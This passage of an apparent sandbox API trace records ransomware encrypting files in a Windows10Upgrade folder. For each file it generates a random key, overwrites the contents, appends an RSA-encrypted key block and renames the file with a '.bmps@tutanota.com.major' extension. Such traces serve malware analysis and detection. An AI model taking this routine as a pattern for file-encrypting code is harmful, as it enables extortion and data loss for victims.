lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.180] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.180] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="rCfCchuMdFw5eNzuGyiwIEW1PVg5EoSJCbREaXkUxBZtPIX+ffVi02mqTY60LSjR\nfz6JgYUCvWRF/VCsx4j1Mcr/2M6vECXozXKrDvbNXswAV25/2qguLs3sDasocQHH\n3S12v6Iwjqf6+2p/tHSkNVJRKSgrsw+zP3+ZKF3v2ZkJUfrS4oFWBJ8Z72337C16\nXjBZ2xh+bjkcAI4IJAQ9kDzTeFIR7+7JDrhEOjTEELIA2qDTW+4PSI5evlJl2g1f\nNu4d7UfUYnF6OM+vVEFaBpSIciyWjEEaNAArDUaBzqHF/i/GtLdhZB1EGtOeIW40\no0k6ZUw1+tpomF99RaYpWw==\n", pcchString=0x2e3f9a8) returned 1 [0151.180] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.181] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.181] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.181] CloseHandle (hObject=0x638) returned 1 [0151.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.181] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0151.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0151.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0151.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0151.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eb30 [0151.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0151.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.183] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png", dwFileAttributes=0x80) returned 1 [0151.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ec68 [0151.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0151.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec68 | out: hHeap=0x570000) returned 1 [0151.183] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.183] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3824) returned 1 [0151.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xef0) returned 0x6518a0 [0151.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xef0) returned 0x652798 [0151.183] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0xef0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0xef0, lpOverlapped=0x0) returned 1 [0151.185] SetFilePointer (in: hFile=0x638, lDistanceToMove=-3824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.185] WriteFile (in: hFile=0x638, lpBuffer=0x652798*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652798*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef0, lpOverlapped=0x0) returned 1 [0151.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652798 | out: hHeap=0x570000) returned 1 [0151.185] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef0 [0151.185] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.185] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="TQ4XUo2GfDc0u3XoroXA+26ZtDuPtP77t33K+rDsPX+cY4RcjmXZqqLpyop47hTF\nOQhTcDEmfxG15KhjQW58GwO3BasKuxjEUbwxknUcWqfZAyO0GW6pXW6fkjLBR5Xi\nMT5mbd7SKZ92ABkzMWOFKsQyK65SCxqiXIPZGQpa7toszDppuZ5dq39Y+oWTpjHa\nNQoyLdsdzuqAXAOxE3skDFH/o2wvLZ5Dnv9nPm3BnMzJ5s3EgX1dAXjsRqx+kkq6\nx6sJuJ2TYKhqWITLLgkO4O5tRhs+bCdtJNYf1ciskRmIW7cKUHvO92fcjfC2e+d9\ndTRcarejOPX6UzHunVjauA==\n", pcchString=0x2e3f9a8) returned 1 [0151.185] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.185] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.185] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.186] CloseHandle (hObject=0x638) returned 1 [0151.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.186] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\GetStarted.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0151.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0151.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0151.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0151.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0151.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0151.187] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.187] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\eula.css", dwFileAttributes=0x80) returned 1 [0151.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0151.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0151.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0151.188] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.188] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82) returned 1 [0151.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52) returned 0x5c9758 [0151.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52) returned 0x5c9578 [0151.188] ReadFile (in: hFile=0x638, lpBuffer=0x5c9758, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c9758*, lpNumberOfBytesRead=0x2e3f9b4*=0x52, lpOverlapped=0x0) returned 1 [0151.189] SetFilePointer (in: hFile=0x638, lDistanceToMove=-82, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.189] WriteFile (in: hFile=0x638, lpBuffer=0x5c9578*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c9578*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52, lpOverlapped=0x0) returned 1 [0151.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c9758 | out: hHeap=0x570000) returned 1 [0151.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c9578 | out: hHeap=0x570000) returned 1 [0151.189] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52 [0151.189] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.189] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.189] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.189] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.190] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.190] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="WqfEfRfZkRRhKCyBEfYFkPEiYQ98nGg0YrBoInb98mB66y+c1VpfPtrRXXIly1RZ\nh6l0D6Nk6jpaIEIvfMpWN6ykcqIMU0dNrHuMVwGdZThtHLOvvpBBI614jqB9VqNe\nOF8aNTziJzrd3W/u0jAKjWkVlSdxIJubDPhZweKkFb0HS9U9VZv0nMhZrPlQYzi+\nPSr+xRuelmJwjkuD4mkTPZtwigMNNvwNRL7tZXKabZMTwf9kPTdGjt/uo3BjhNkK\nIuT+cNJyj4xmE8DIgazcUoQS2xibyJ5BpGjhoHRhORDJRv36OM7+HXYc8HF5U6uh\nk/x6PxbIJ7EM/pWj4DQcEA==\n", pcchString=0x2e3f9a8) returned 1 [0151.190] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.190] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.190] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.190] CloseHandle (hObject=0x638) returned 1 [0151.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.190] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\eula.css.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0151.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0151.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0151.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ea60 [0151.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0151.191] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.192] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm", dwFileAttributes=0x80) returned 1 [0151.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eac8 [0151.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0151.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac8 | out: hHeap=0x570000) returned 1 [0151.192] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.193] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=65710) returned 1 [0151.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100ae) returned 0x6518a0 [0151.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100ae) returned 0x2e40fd8 [0151.193] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x100ae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x100ae, lpOverlapped=0x0) returned 1 [0151.241] SetFilePointer (in: hFile=0x638, lDistanceToMove=-65710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.241] WriteFile (in: hFile=0x638, lpBuffer=0x2e40fd8*, nNumberOfBytesToWrite=0x100ae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x100ae, lpOverlapped=0x0) returned 1 [0151.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0151.241] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x100ae [0151.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.241] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.242] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.242] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="BUIjnI0YthAe8kP8Y6suU+AGajySG1Dr89Gm2prp3Gb+4fAOkpvvGp4jC9kGxhUp\ni/wrPwy3t7Qsy4bHjU6ReGnaAQJr32y1RpwX8cK6+M9hc8yWILq+S+njHRcFcUPs\nVRTBQYvUC4QDzEodZuYm9KklnKXyIrlsYjXq44zQBNQcQPjH4fLEn3aiG2d/gjto\n2ET30DKMVAJkZKwVoPPekyb0ukJ7Uj9lsNDT1X5ERJXkpSspNyNR8wgWbPSMPG+1\nb2ljs0IZBza1vFdEBUkSHc3EFc+/IUeYEcNqzuNE6euEQVkcplDxvttpduCbfp96\n/UcIfqvFHINTTAPd/Y7vCw==\n", pcchString=0x2e3f9a8) returned 1 [0151.242] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.242] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.242] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.242] CloseHandle (hObject=0x638) returned 1 [0151.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.242] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0151.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0151.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea60 | out: hHeap=0x570000) returned 1 [0151.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0151.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eb98 [0151.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0151.244] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.244] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css", dwFileAttributes=0x80) returned 1 [0151.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e928 [0151.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0151.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e928 | out: hHeap=0x570000) returned 1 [0151.245] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.245] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5224) returned 1 [0151.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1468) returned 0x6518a0 [0151.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1468) returned 0x652d10 [0151.245] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x1468, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1468, lpOverlapped=0x0) returned 1 [0151.659] SetFilePointer (in: hFile=0x638, lDistanceToMove=-5224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.659] WriteFile (in: hFile=0x638, lpBuffer=0x652d10*, nNumberOfBytesToWrite=0x1468, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652d10*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1468, lpOverlapped=0x0) returned 1 [0151.659] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.659] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652d10 | out: hHeap=0x570000) returned 1 [0151.659] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1468 [0151.659] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.659] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.659] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.659] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.660] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.660] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HuIIsAg7OIPBfoxiy9/oaoEBRiAuJyEwQN3+Gg8c++rTlaefvXBaLT/2gV11cook\nbQQxYHIkhPiCupuzva0IQS/UvIGH2WRP0p8coCHKxUh4yHKBzhT6TsNNDD70tMe1\npZJRWOOeUcEoiwOrAeXoG8VkbbyTYhwx85DYeg5pG39K+fNVicoP7ll22c9OsSqL\nkeFKhtlq+xUMi06RHQY7+K2K1S50KDNFJubdlsKPqb0aSKB91yh4701X9flNFg36\n/GlvUM6GzHHlbcDVh62NXT4GGhaUQDcypM1U116P0/hlMqNSp5B+qKvVxytcAg3N\ng9xxF1A/WZDzsdWvkz1WZQ==\n", pcchString=0x2e3f9a8) returned 1 [0151.660] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.660] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.660] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 